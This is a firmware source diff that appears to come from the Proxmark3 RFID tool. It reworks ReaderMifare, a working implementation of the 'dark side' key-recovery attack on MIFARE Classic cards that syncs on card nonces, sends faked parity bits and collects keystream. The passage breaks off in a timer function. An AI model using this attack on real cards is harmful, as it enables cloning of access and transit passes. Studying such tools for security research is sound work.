armsrc/appmain.c

@@ -772,7 +772,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
 			break;
 			
 		case CMD_READER_MIFARE:
-            ReaderMifare(c);
+            ReaderMifare(c->arg[0]);
 			break;
 		case CMD_MIFARE_READBL:
 			MifareReadBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
@@ -863,7 +863,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
 			LED_D_OFF(); // LED D indicates field ON or OFF
 			break;
 
-		case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K: {
+		case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K:
 //			UsbCommand n;
 //			if(c->cmd == CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K) {
 //				n.cmd = CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K;
@@ -885,7 +885,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
 			// Trigger a finish downloading signal with an ACK frame
 			cmd_send(CMD_ACK,0,0,0,0,0);
 			LED_B_OFF();
-		} break;
+			break;
 
 		case CMD_DOWNLOADED_SIM_SAMPLES_125K: {
 			uint8_t *b = (uint8_t *)BigBuf;
@@ -893,8 +893,8 @@ void UsbPacketReceived(uint8_t *packet, int len)
 			//Dbprintf("copied 48 bytes to %i",b+c->arg[0]);
 //			UsbSendPacket((uint8_t*)&ack, sizeof(ack));
 			cmd_send(CMD_ACK,0,0,0,0,0);
-		} break;
+			break;
-
+		}	
 		case CMD_READ_MEM:
 			ReadMem(c->arg[0]);
 			break;
@@ -926,7 +926,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
 #endif
 		case CMD_SETUP_WRITE:
 		case CMD_FINISH_WRITE:
-		case CMD_HARDWARE_RESET: {
+		case CMD_HARDWARE_RESET:
 			usb_disable();
 			SpinDelay(1000);
 			SpinDelay(1000);
@@ -934,27 +934,27 @@ void UsbPacketReceived(uint8_t *packet, int len)
 			for(;;) {
 				// We're going to reset, and the bootrom will take control.
 			}
-        } break;
+			break;
 
-		case CMD_START_FLASH: {
+		case CMD_START_FLASH:
 			if(common_area.flags.bootrom_present) {
 				common_area.command = COMMON_AREA_COMMAND_ENTER_FLASH_MODE;
 			}
 			usb_disable();
 			AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST;
 			for(;;);
-        } break;
+			break;
 
 		case CMD_DEVICE_INFO: {
 			uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS;
 			if(common_area.flags.bootrom_present) dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT;
 //			UsbSendPacket((uint8_t*)&c, sizeof(c));
 			cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0);	
-		} break;
+			break;
-            
+		}
-		default: {
+		default:
 			Dbprintf("%s: 0x%04x","unknown command:",c->cmd);
-        } break;
+			break;
 	}
 }
 

armsrc/apps.h

@@ -156,7 +156,7 @@ void RAMFUNC SniffMifare(uint8_t param);
 void EPA_PACE_Collect_Nonce(UsbCommand * c);
 
 // mifarecmd.h
-void ReaderMifare(UsbCommand *c);
+void ReaderMifare(bool first_try);
 void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *data);
 void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);
 void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);

armsrc/iso14443a.c

@@ -1625,7 +1625,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
 	
   // clear uid
   if (uid_ptr) {
-    memset(uid_ptr,0,8);
+    memset(uid_ptr,0,10);
   }
 
   // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
@@ -1811,354 +1811,266 @@ void ReaderIso14443a(UsbCommand * c)
 	LEDsoff();
 }
 
-#define TEST_LENGTH 100
-typedef struct mftest{
-    uint8_t nt[8];
-    uint8_t count;
-}mftest ;
 
-/**
+// prepare the Mifare AUTH transfer with an added necessary delay.
- *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
+void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay)
- *using a specified timeout.
+{
- *Different cards behave differently, some cards require up to a second to power down (and thus reset
+	CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len));
- *token generator), other cards are fine with 50 ms.
+
- *
+	uint8_t bitmask = 0;
- * @param time
+	uint8_t bits_to_shift = 0;
- * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
+	uint8_t bits_shifted = 0;
- *zero indicates a low entropy: the given timeout is sufficient to power down the card.
+	
- */
+	if (delay) {
-int TuneMifare(int time)
+		for (uint16_t i = 0; i < delay; i++) {
+			bitmask |= (0x01 << i);
+		}
+		ToSend[++ToSendMax] = 0x00;
+		for (uint16_t i = 0; i < ToSendMax; i++) {
+			bits_to_shift = ToSend[i] & bitmask;
+			ToSend[i] = ToSend[i] >> delay;
+			ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+			bits_shifted = bits_to_shift;
+		}
+	}
+}
+
+
+
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+	uint16_t i;
+	uint32_t nttmp1, nttmp2;
+
+	if (nt1 == nt2) return 0;
+
+	nttmp1 = nt1;
+	nttmp2 = nt2;
+	
+	for (i = 1; i < 32768; i++) {
+		nttmp1 = prng_successor(nttmp1, 1);
+		if (nttmp1 == nt2) return i;
+		nttmp2 = prng_successor(nttmp2, 1);
+			if (nttmp2 == nt1) return -i;
+		}
+	
+	return(-99999); // either nt1 or nt2 are invalid nonces
+}
+
+
+//-----------------------------------------------------------------------------
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
+//-----------------------------------------------------------------------------
+void ReaderMifare(bool first_try)
 {
 	// Mifare AUTH
 	uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
+	uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+	static uint8_t mf_nr_ar3;
+
 	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+	traceLen = 0;
+	tracing = false;
 
-    iso14443a_setup();
+	byte_t nt_diff = 0;
-    int TIME1=time;
+	byte_t par = 0;
-    int TIME2=2000;
+	//byte_t par_mask = 0xff;
-    uint8_t uid[8];
+	static byte_t par_low = 0;
+	bool led_on = TRUE;
+	uint8_t uid[10];
 	uint32_t cuid;
-    byte_t nt[4];
+
-    Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time);
+	uint32_t nt, previous_nt;
+	static uint32_t nt_attacked = 0;
+	byte_t par_list[8] = {0,0,0,0,0,0,0,0};
+	byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
+
+	static uint32_t sync_time;
+	static uint32_t sync_cycles;
+	int catch_up_cycles = 0;
+	int last_catch_up = 0;
+	uint16_t consecutive_resyncs = 0;
+	int isOK = 0;
 
 
-    mftest nt_values[TEST_LENGTH];
+
-    int nt_size = 0;
+	if (first_try) { 
-    int i = 0;
+		StartCountMifare();
-    for(i = 0 ; i< 100 ; i++)
+		mf_nr_ar3 = 0;
-    {
+		iso14443a_setup();
+		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers
+		while((GetCountMifare() & 0xffff0000) != 0x10000);		// wait for counter to reset and "warm up" 
+		while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); 		// wait for ssp_frame to be low
+		while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); 	// sync on rising edge of ssp_frame
+		sync_time = GetCountMifare();
+		sync_cycles = 65536;									// theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+		nt_attacked = 0;
+		nt = 0;
+		par = 0;
+	}
+	else {
+		// we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+		// nt_attacked = prng_successor(nt_attacked, 1);
+		mf_nr_ar3++;
+		mf_nr_ar[3] = mf_nr_ar3;
+		par = par_low;
+	}
+
+	LED_A_ON();
+	LED_B_OFF();
 	LED_C_OFF();
-        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-        SpinDelay(TIME1);
-        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-        LED_C_ON();
-        SpinDelayUs(TIME2);
-        if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
 	
-        // Transmit MIFARE_CLASSIC_AUTH
-        ReaderTransmit(mf_auth, sizeof(mf_auth));
   
-        // Receive the (16 bit) "random" nonce
+	for(uint16_t i = 0; TRUE; i++) {
-        if (!ReaderReceive(receivedAnswer)) continue;
-        memcpy(nt, receivedAnswer, 4);
 		
-        //store it
+		WDT_HIT();
-        int already_stored = 0;
-        for(int i =  0 ; i < nt_size && !already_stored; i++)
-        {
-            if( memcmp(nt, nt_values[i].nt, 4) == 0)
-            {
-                nt_values[i].count++;
-                already_stored = 1;
-            }
-        }
-        if(!already_stored)
-        {
-            mftest* ptr= &nt_values[nt_size++];
-            //Clear it before use
-            memset(ptr, 0, sizeof(mftest));
-            memcpy(ptr->nt, nt, 4);
-            ptr->count = 1;
-        }
 
-        if(BUTTON_PRESS())
+		// Test if the action was cancelled
-        {
+		if(BUTTON_PRESS()) {
-            Dbprintf("Tuning aborted prematurely");
 			break;
 		}
+		
+		LED_C_ON();
+
+		if(!iso14443a_select_card(uid, NULL, &cuid)) {
+			continue;
 		}
-    /*
+
-    for(int i = 0 ; i < nt_size;i++){
+		//keep the card active
-        mftest x = nt_values[i];
+		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-        Dbprintf("%d,%d,%d,%d   : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
+
+		PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007);
+
+		sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8);
+		catch_up_cycles = 0;
+
+		// if we missed the sync time already, advance to the next nonce repeat
+		while(GetCountMifare() > sync_time) {
+			sync_time = sync_time + (sync_cycles & 0xfffffff8);
 		}
-    */
-    int result = nt_size *100 / i;
-    Dbprintf("      ... results for %d ms : %d %",time, result);
-    return result;
-}
 
-//-----------------------------------------------------------------------------
+		// now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly)
-// Read an ISO 14443a tag. Send out commands and store answers.
+		while(GetCountMifare() < sync_time);
-//
+		
-//-----------------------------------------------------------------------------
+		// Transmit MIFARE_CLASSIC_AUTH
-#define STATE_SIZE 100
+		int samples = 0;
-typedef struct AttackState{
+		int wait = 0;
-    byte_t nt[4];
+		TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
-    byte_t par_list[8];
+
-    byte_t ks_list[8];
+		// Receive the (4 Byte) "random" nonce
-    byte_t par;
+		if (!ReaderReceive(receivedAnswer)) {
-    byte_t par_low;
+			continue;
-    byte_t nt_diff;
+		  }
-    uint8_t mf_nr_ar[8];
-} AttackState;
 
  
-int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
+		previous_nt = nt;
-{
+		nt = bytes_to_num(receivedAnswer, 4);
 
-    // Transmit reader nonce and reader answer
+		// Transmit reader nonce with fake par
-    ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
+		ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par);
 
-    // Receive 4 bit answer
+		if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
-    int len = ReaderReceive(receivedAnswer);
+			int nt_distance = dist_nt(previous_nt, nt);
-    if (!len)
+			if (nt_distance == 0) {
+				nt_attacked = nt;
+			}
+			else {
+				if (nt_distance == -99999) { // invalid nonce received, try again
+					continue;
+				}
+				sync_cycles = (sync_cycles - nt_distance);
+//				Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+				continue;
+			}
+		}
+
+		if ((nt != nt_attacked) && nt_attacked) { 	// we somehow lost sync. Try to catch up again...
+			catch_up_cycles = -dist_nt(nt_attacked, nt);
+			if (catch_up_cycles == 99999) {			// invalid nonce received. Don't resync on that one.
+				catch_up_cycles = 0;
+				continue;
+			}
+			if (catch_up_cycles == last_catch_up) {
+				consecutive_resyncs++;
+			}
+			else {
+				last_catch_up = catch_up_cycles;
+			    consecutive_resyncs = 0;
+			}
+			if (consecutive_resyncs < 3) {
+				Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+			}
+			else {	
+				sync_cycles = sync_cycles + catch_up_cycles;
+				Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+			}
+			continue;
+		}
+ 
+		consecutive_resyncs = 0;
+		
+		// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+		if (ReaderReceive(receivedAnswer))
 		{
-        if (pState->nt_diff == 0)
+			catch_up_cycles = 8; 	// the PRNG doesn't run during data transfers. 4 Bit = 8 cycles
-        {
-            pState->par++;
-        } else {
-            pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
-        }
-        return 2;
-    }
-    if(pState->nt_diff == 0)
-    {
-        pState->par_low = pState->par & 0x07;
-    }
-    //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
-    //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
-    //isNULL =  0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
-     //
-      //  if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
 	
-    //led_on = !led_on;
+			if (nt_diff == 0)
-    //if(led_on) LED_B_ON(); else LED_B_OFF();
+			{
-    pState->par_list[pState->nt_diff] = pState->par;
+				par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
-    pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
+			}
+
+			led_on = !led_on;
+			if(led_on) LED_B_ON(); else LED_B_OFF();
+
+			par_list[nt_diff] = par;
+			ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
 
 			// Test if the information is complete
-    if (pState->nt_diff == 0x07) {
+			if (nt_diff == 0x07) {
-        return 0;
+				isOK = 1;
+				break;
 			}
 
-    pState->nt_diff = (pState->nt_diff + 1) & 0x07;
+			nt_diff = (nt_diff + 1) & 0x07;
-    pState->mf_nr_ar[3] = pState->nt_diff << 5;
+			mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
-    pState->par = pState->par_low;
+			par = par_low;
-    return 1;
+		} else {
-}
+			if (nt_diff == 0 && first_try)
-
-void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
-{
-    LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
-    LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
-    LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
-
-    byte_t buf[48];
-    memcpy(buf + 0,  uid, 4);
-    if(pState != NULL)
 			{
-        memcpy(buf + 4,  pState->nt, 4);
+				par++;
-        memcpy(buf + 8,  pState->par_list, 8);
+			} else {
-        memcpy(buf + 16, pState->ks_list, 8);
+				par = (((par >> 3) + 1) << 3) | par_low;
+			}
+		}
 	}
 
-    LED_B_ON();
+	LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
-    cmd_send(CMD_ACK,isOK,0,0,buf,48);
+	LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
-    LED_B_OFF();
+	LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
+
+	mf_nr_ar[3] &= 0x1F;
+	
+	byte_t buf[28];
+	memcpy(buf + 0,  uid, 4);
+	num_to_bytes(nt, 4, buf + 4);
+	memcpy(buf + 8,  par_list, 8);
+	memcpy(buf + 16, ks_list, 8);
+	memcpy(buf + 24, mf_nr_ar, 4);
+		
+	cmd_send(CMD_ACK,isOK,0,0,buf,28);
 
 	// Thats it...
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 	LEDsoff();
 	tracing = TRUE;
-
-    if (MF_DBGLEVEL >= 1)	DbpString("COMMAND mifare FINISHED");
 }
 
-void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
-
-/**
- * @brief New implementation of ReaderMifare, the classic mifare attack.
- *  This implementation is backwards-compatible, but has some added parameters.
- * @param c the usbcommand in complete
- *  c->arg[0] - nt_noattack (deprecated)
- *  c->arg[1] - offset_time us (0 => random)
- *  c->arg[2] - powerdown_time ms (0=> tuning)
- *
- */
-void ReaderMifare(UsbCommand *c)
-{
-    /*
-     * The 'no-attack' is not used anymore, with the introduction of
-     * state tables. Instead, we use an offset which is random. This means that we
-     * should not get stuck on a 'bad' nonce, so no-attack is not needed.
-     * Anyway, arg[0] is reserved for backwards compatibility
-    uint32_t nt_noattack_uint = c->arg[0];
-    byte_t nt_noattack[4];
-    num_to_bytes(parameter, 4, nt_noattack_uint);
-
-     */
-    /*
-     *IF, for some reason, you want to attack a specific nonce or whatever,
-     *you can specify the offset time yourself, in which case it won't be random.
-     *
-     * The offset time is microseconds, MICROSECONDS, not ms.
-     */
-    uint32_t offset_time = c->arg[1];
-    if(offset_time == 0)
-    {
-        //[Martin:]I would like to have used rand(), but linking problems prevented it
-        //offset_time = rand() % 4000;
-        //So instead, I found this nifty thingy, which seems to fit the bill
-        offset_time = GetTickCount() % 2000;
-    }
-    /*
-     * There is an implementation of tuning. Tuning will try to determine
-     * a good power-down time, which is different for different cards.
-     * If a value is specified from the packet, we won't do any tuning.
-     * A value of zero will initialize a tuning.
-     * The power-down time is milliseconds, that MILLI-seconds .
-     */
-    uint32_t powerdown_time = c->arg[2];
-    if(powerdown_time == 0)
-    {
-        //Tuning required
-        int entropy = 100;
-        int time = 25;
-        entropy = TuneMifare(time);
-
-        while(entropy > 50 && time < 2000){
-            //Increase timeout, but never more than 500ms at a time
-            time = MIN(time*2, time+500);
-            entropy = TuneMifare(time);
-        }
-        if(entropy > 50){
-            Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
-        }
-        powerdown_time = time;
-    }
-    //The actual attack
-    ReaderMifareBegin(offset_time, powerdown_time);
-}
-void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)
-{
-    Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time);
-
-    /**
-     *Allocate our state-table and initialize with zeroes
-     **/
-
-    AttackState states[STATE_SIZE] ;
-    //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
-    memset(states, 0, STATE_SIZE*sizeof(AttackState));
-
-    // Mifare AUTH
-	uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
-	uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);	// was 3560 - tied to other size changes
-
-    traceLen = 0;
-	tracing = false;
-
-	iso14443a_setup();
-	LED_A_ON();
-	LED_B_OFF();
-	LED_C_OFF();
-
-	LED_A_OFF();
-	uint8_t uid[8];
-	uint32_t cuid;
-
-    byte_t nt[4];
-    int nts_attacked= 0;
-    //Keeps track of progress (max value of nt_diff for our states)
-    int progress = 0;
-    int high_entropy_warning_issued = 0;
-    while(!BUTTON_PRESS())
-	{
-		LED_C_OFF();
-		FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-        SpinDelay(powerdown_time);
-		FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-		LED_C_ON();
-        SpinDelayUs(offset_time);
-
-		if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
-
-		// Transmit MIFARE_CLASSIC_AUTH
-		ReaderTransmit(mf_auth, sizeof(mf_auth));
-
-		// Receive the (16 bit) "random" nonce
-		if (!ReaderReceive(receivedAnswer)) continue;
-        memcpy(nt, receivedAnswer, 4);
-
-        //Now we have the NT. Check if this NT is already under attack
-        AttackState* pState = NULL;
-        int i = 0;
-        for(i = 0 ; i < nts_attacked && pState == NULL; i++)
-        {
-            if( memcmp(nt, states[i].nt, 4) == 0)
-            {
-                //we have it
-                pState = &states[i];
-                //Dbprintf("Existing state found (%d)", i);
-            }
-        }
-
-        if(pState == NULL){
-            if(nts_attacked < STATE_SIZE )
-            {
-                //Initialize  a new state
-                pState = &states[nts_attacked++];
-                //Clear it before use
-                memset(pState, 0, sizeof(AttackState));
-                memcpy(pState->nt, nt, 4);
-                i = nts_attacked;
-                //Dbprintf("New state created, nt=");
-            }else if(!high_entropy_warning_issued){
-                /**
-                 *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
-                 *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
-                 *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
-                 *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
-                 */
-                DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
-                high_entropy_warning_issued = 1;
-            }
-        }
-        if(pState == NULL) continue;
-
-        int result = continueAttack(pState, receivedAnswer);
-
-        if(result == 1){
-            //One state progressed another step
-            if(pState->nt_diff >  progress)
-            {
-                progress = pState->nt_diff;
-                //Alert the user
-                Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
-            }
-            //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
-        }
-        else if(result == 2){
-            //Dbprintf("Continue attack no answer, par is now %d", pState->par);
-        }
-        else if(result == 0){
-            reportResults(uid,pState,1);
-            return;
-        }
-    }
-    reportResults(uid,NULL,0);
-}
 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 // 

armsrc/mifarecmd.c

@@ -28,7 +28,7 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
 	// variables
 	byte_t isOK = 0;
 	byte_t dataoutbuf[16];
-	uint8_t uid[8];
+	uint8_t uid[10];
 	uint32_t cuid;
 	struct Crypto1State mpcs = {0, 0};
 	struct Crypto1State *pcs;
@@ -109,7 +109,7 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
 	// variables
 	byte_t isOK = 0;
 	byte_t dataoutbuf[16 * 4];
-	uint8_t uid[8];
+	uint8_t uid[10];
 	uint32_t cuid;
 	struct Crypto1State mpcs = {0, 0};
 	struct Crypto1State *pcs;
@@ -208,7 +208,7 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
 	
 	// variables
 	byte_t isOK = 0;
-	uint8_t uid[8];
+	uint8_t uid[10];
 	uint32_t cuid;
 	struct Crypto1State mpcs = {0, 0};
 	struct Crypto1State *pcs;
@@ -298,7 +298,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
 	// variables
 	int rtr, i, j, m, len;
 	int davg, dmin, dmax;
-	uint8_t uid[8];
+	uint8_t uid[10];
 	uint32_t cuid, nt1, nt2, nttmp, nttest, par, ks1;
 	uint8_t par_array[4];
 	nestedVector nvector[NES_MAX_INFO + 1][11];
@@ -493,7 +493,6 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
 			}
 	
 			LED_B_ON();
-			SpinDelay(100);
       cmd_send(CMD_ACK,0,ncount,targetBlockNo + (targetKeyType * 0x100),buf,48);
 //			UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
 			LED_B_OFF();
@@ -507,7 +506,6 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
 //	memset(ack.d.asBytes, 0x00, sizeof(ack.d.asBytes));
 	
 	LED_B_ON();
-	SpinDelay(300);
 //	UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
   cmd_send(CMD_ACK,1,0,0,0,0);
 	LED_B_OFF();
@@ -536,7 +534,7 @@ void MifareChkKeys(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
 	// variables
 	int i;
 	byte_t isOK = 0;
-	uint8_t uid[8];
+	uint8_t uid[10];
 	uint32_t cuid;
 	struct Crypto1State mpcs = {0, 0};
 	struct Crypto1State *pcs;
@@ -649,7 +647,7 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai
 	// variables
 	byte_t dataoutbuf[16];
 	byte_t dataoutbuf2[16];
-	uint8_t uid[8];
+	uint8_t uid[10];
 
 	// clear trace
 	iso14a_clear_trace();
@@ -761,11 +759,11 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai
 	
 	// variables
 	byte_t isOK = 0;
-	uint8_t uid[8];
+	uint8_t uid[10];
 	uint8_t d_block[18];
 	uint32_t cuid;
 	
-	memset(uid, 0x00, 8);
+	memset(uid, 0x00, 10);
 	uint8_t* receivedAnswer = mifare_get_bigbufptr();
 	
 	if (workFlags & 0x08) {

armsrc/util.c

@@ -298,7 +298,7 @@ void StartCountUS()
 	AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN;
 	AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN;
 	AT91C_BASE_TCB->TCB_BCR = 1;
-}
+	}
 
 uint32_t RAMFUNC GetCountUS(){
 	return (AT91C_BASE_TC1->TC_CV * 0x8000) + ((AT91C_BASE_TC0->TC_CV / 15) * 10);
@@ -314,3 +314,60 @@ uint32_t RAMFUNC GetDeltaCountUS(){
 }
 
 
+//  -------------------------------------------------------------------------
+//  Mifare timer. Uses ssp_clk from FPGA 
+//  -------------------------------------------------------------------------
+void StartCountMifare()
+{
+	AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2);  // Enable Clock to all timers
+	AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_TIOA1 		// XC0 Clock = TIOA1
+							| AT91C_TCB_TC1XC1S_NONE 		// XC1 Clock = none
+							| AT91C_TCB_TC2XC2S_TIOA0;		// XC2 Clock = TIOA0
+
+	// configure TC1 to create a short pulse on TIOA1 when a rising edge on TIOB1 (= ssp_clk from FPGA) occurs:
+	AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; 				// disable TC1
+	AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK // TC1 Clock = MCK(48MHz)/2 = 24MHz
+							| AT91C_TC_CPCSTOP				// Stop clock on RC compare
+							| AT91C_TC_EEVTEDG_RISING		// Trigger on rising edge of Event
+							| AT91C_TC_EEVT_TIOB			// Event-Source: TIOB1 (= ssc_clk from FPGA = 13,56MHz / 16)
+							| AT91C_TC_ENETRG				// Enable external trigger event
+							| AT91C_TC_WAVESEL_UP	 		// Upmode without automatic trigger on RC compare
+							| AT91C_TC_WAVE 				// Waveform Mode
+							| AT91C_TC_AEEVT_SET 			// Set TIOA1 on external event
+							| AT91C_TC_ACPC_CLEAR; 			// Clear TIOA1 on RC Compare
+	AT91C_BASE_TC1->TC_RC = 0x04; 							// RC Compare value = 0x04
+
+	// use TC0 to count TIOA1 pulses
+	AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; 				// disable TC0  
+	AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_XC0	 			// TC0 clock = XC0 clock = TIOA1
+							| AT91C_TC_WAVE 				// Waveform Mode
+							| AT91C_TC_WAVESEL_UP	 		// just count
+							| AT91C_TC_ACPA_CLEAR 			// Clear TIOA0 on RA Compare
+							| AT91C_TC_ACPC_SET; 			// Set TIOA0 on RC Compare
+	AT91C_BASE_TC0->TC_RA = 1;								// RA Compare value = 1; pulse width to TC2
+	AT91C_BASE_TC0->TC_RC = 0; 								// RC Compare value = 0; increment TC2 on overflow
+
+	// use TC2 to count TIOA0 pulses (giving us a 32bit counter (TC0/TC2) clocked by ssp_clk)
+	AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS; 				// disable TC2  
+	AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_XC2	 			// TC2 clock = XC2 clock = TIOA0
+							| AT91C_TC_WAVE 				// Waveform Mode
+							| AT91C_TC_WAVESEL_UP;	 		// just count
+	
+	
+	AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN;				// enable TC0
+	AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN;				// enable TC1
+	AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN;				// enable TC2
+	AT91C_BASE_TCB->TCB_BCR = 1;							// assert Sync (set all timers to 0 on next active clock edge)
+}
+
+
+uint32_t RAMFUNC GetCountMifare(){
+	uint32_t tmp_count;
